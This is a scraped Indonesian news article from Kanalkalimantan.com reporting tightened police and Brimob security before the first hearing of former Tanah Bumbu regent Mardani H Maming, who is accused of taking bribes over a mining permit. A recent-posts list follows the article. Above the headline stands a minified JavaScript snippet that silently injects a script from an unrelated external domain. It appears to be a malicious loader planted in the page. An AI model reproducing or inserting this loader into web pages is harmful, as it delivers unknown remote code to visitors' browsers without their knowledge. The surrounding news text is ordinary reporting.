(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jelang Sidang Perdana Mardani Maming Pengamanan Diperketat di Pengadilan Tipikor Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Jelang sidang perdana Mardani H Maming di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Kamis (10/11/2022) pagi, sejumlah personel dari Kepolisian Resort Banjarmasin dan Brimob Polda Kalsel melakukan penjagaan dan pengamanan di sekitar lokasi persidangan.

Terlihat sebuah mobil Rantis Brimob telah terpakir di halaman Pengadilan Tipikor Banjarmasin untuk mengamankan jalannya persidangan.

Mobil sound system pengurai massa dan mobil box yang berisi peralatan pengamanan juga telah disiapkan di halaman Pengadilan Tipikor Banjarmasin sejak pagi hari.

Terdakwa Mardani H Maming akan menjalani sidang pertama dengan agenda pembacaan surat dakwaan oleh Jaksa Penuntut Umum.

 

 

Baca juga: Mantan Bendahara Bawaslu Banjar Divonis 6 Tahun, Wajib Kembalikan Rp 1,3 Miliar

Pada sidang pertama ini terdakwa mantan Bupati Tanah Bumbu ini akan mengikuti sidang secara virtual melalui gedung Merah Putih Komisi Pemberantasan Korupsi (KPK).

Sebelumnya, juru bicara PN Banjarmasin Aris Bawono Langgeng mengatakan bahwa Mardani tidak ditahan di Rutan Banjarmasin, namun tetap ditahan Rutan KPK di Jakarta.

“Staf di Tipikor ditelepon oleh KPK, dikabari tahanan tetap di Jakarta,” katanya.

Diketahui Mardani H Maming mantan Bupati Tanah Bumbu periode 2010-2015 dan periode 2016-2018 tersebut diduga terlibat dalam kasus suap pengalihan Izin Usaha Pertambangan (IUP) lebih dari 100 miliar saat menjabat sebagai Bupati Tanah Bumbu.

Baca juga: BEM se Kalsel Berdemo, Mahasiswa Kembali Cari Paman Birin

Berdasarkan hasil penyidikan KPK, Mardani diduga menerima aliran suap dari pengendali PT Prolindo Cipta Nusantara (PCN) Henry Soetio, yang bermaksud memperoleh Izin Usaha Tambang (IUP) OP milik PT Bangun Karya Pratama Lestari (BKPL) seluas 370 hektare yang berlokasi di Kabupaten Tanah Bumbu.

Sementara itu, tim penasehat hukum terdakwa Mardani Maming juga sudah tiba di Pengadilan Tipikor Banjarmasin pada Kamis (10/11/2022) pagi. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.